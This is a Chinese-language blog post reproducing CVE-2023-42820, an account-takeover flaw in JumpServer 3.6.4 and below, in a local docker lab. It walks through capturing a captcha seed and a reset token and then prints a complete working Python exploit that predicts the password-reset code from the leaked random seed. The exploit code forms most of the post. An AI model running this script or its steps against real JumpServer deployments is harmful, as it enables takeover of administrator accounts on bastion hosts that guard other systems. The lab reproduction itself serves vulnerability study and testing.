jumpserver CVE-2023-42820

Jumpserver是一个开源堡垒机系统。在其3.6.4及以下版本中,存在一处账户
接管漏洞。攻击者通过第三方库[django-simple-captcha](https://github.c
om/mbi/django-simple-captcha)泄露的随机数种子推算出找回密码时的用户Token,最终修改用户密码。

docker compose up -d

启动服务需要等待一段时间,之后访问http://your-ip:8080即可查看到Jumpserver的登录页面。我们使用admin作为账号及密码即可登录,第一次登录管理员账号需要修改密码。

首先,在浏览器第一个Tab中打开忘记密码页面:http://your-ip:8080/core/auth/password/forget/previewing/,此时页面上将有一个验证码。

  • 如果验证码中包含数字10,则请刷新验证码,因为我们的脚本暂时无法处理数字10
  • 如果验证码中不包含数字10,则右键菜单中将该验证码在新Tab下打开

新Tab中验证码的URL类似于http://your-ip:8080/core/auth/captcha/image/87b2723d404657c2294abfab908975ebb9da5468/,其中包含该验证码的key(一串sha1 hash值),也就是后面伪随机数使用的种子,记录下这个值作为seed

返回第一个Tab,刷新页面。刷新页面的目的是,不使用包含“种子”的验证码,因为这个种子将在后续步骤中使用到。

刷新页面后正确填写用户名和验证码后提交,跳转到验证码验证页面。此时这个页面的URL类似于http://localhost:8080/core/auth/password/forgot/?token=sceOx7yWuAH9wWcuzc0nMQmLBzEPNhkhuTfl,其中包含一个随机的token值,记录下这个值作为token

得到seed和token后,执行脚本

python poc.py -t http://localhost:8080 --email admin@mycomany.com --
seed [seed] --token [token]
import requests
import logging
import sys
import random
import string
import argparse
from urllib.parse import urljoin

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'


def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
    args_names = ['lower', 'upper', 'digit', 'special_char']
    args_values = [lower, upper, digit, special_char]
    args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
    args_string_map = dict(zip(args_names, args_string))
    kwargs = dict(zip(args_names, args_values))
    kwargs_keys = list(kwargs.keys())
    kwargs_values = list(kwargs.values())
    args_true_count = len([i for i in kwargs_values if i])
    assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
    assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'

    can_startswith_special_char = args_true_count == 1 and special_char

    chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])

    while True:
        password = list(random.choice(chars) for i in range(length))
        for k, v in kwargs.items():
            if v and not (set(password) & set(args_string_map[k])):
                # 没有包含指定的字符, retry
                break
        else:
            if not can_startswith_special_char and password[0] in args_string_map['special_char']:
                # 首位不能为特殊字符, retry
                continue
            else:
                # 满足要求终止 while 循环
                break

    password = ''.join(password)
    return password


def nop_random(seed: str):
    random.seed(seed)
    for i in range(4):
        random.randrange(-35, 35)

    for p in range(int(180 * 38 * 0.1)):
        random.randint(0, 180)
        random.randint(0, 38)


def fix_seed(target: str, seed: str):
    def _request(i: int, u: str):
        logging.info('send %d request to %s', i, u)
        response = requests.get(u, timeout=5)
        assert response.status_code == 200
        assert response.headers['Content-Type'] == 'image/png'

    url = urljoin(target, '/core/auth/captcha/image/' + seed + '/')
    for idx in range(30):
        _request(idx, url)


def send_code(target: str, email: str, reset_token: str):
    url = urljoin(target, "/api/v1/authentication/password/reset-code/?token=" + reset_token)
    response = requests.post(url, json={
        'email': email,
        'sms': '',
        'form_type': 'email',
    }, allow_redirects=False)
    assert response.status_code == 200
    logging.info("send code headers: %r response: %r", response.headers, response.text)


def main(target: str, email: str, seed: str, token: str):
    fix_seed(target, seed)
    nop_random(seed)
    send_code(target, email, token)
    code = random_string(6, lower=False, upper=False)
    logging.info("your code is %s", code)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Process some integers.')
    parser.add_argument('-t', '--target', type=str, required=True, help='target url')
    parser.add_argument('--email', type=str, required=True, help='account email')
    parser.add_argument('--seed', type=str, required=True, help='seed from captcha url')
    parser.add_argument('--token', type=str, required=True, help='account reset token')

    args = parser.parse_args()
    main(args.target, args.email, args.seed, args.token)

回到浏览器中,输入该code提交,即可来到修改新密码页面,修改密码即可。

复现流程

https://camo.githubusercontent.com/c426d12540a18d84307ef3bb0356b36579cfae3fb96ee17879e749c868496062/68747470733a2f2f692e696d6775722e636f6d2f4a58616e6832492e676966

posted @ 2026-01-19 11:04  安清灵风  阅读(0)  评论(0)    收藏  举报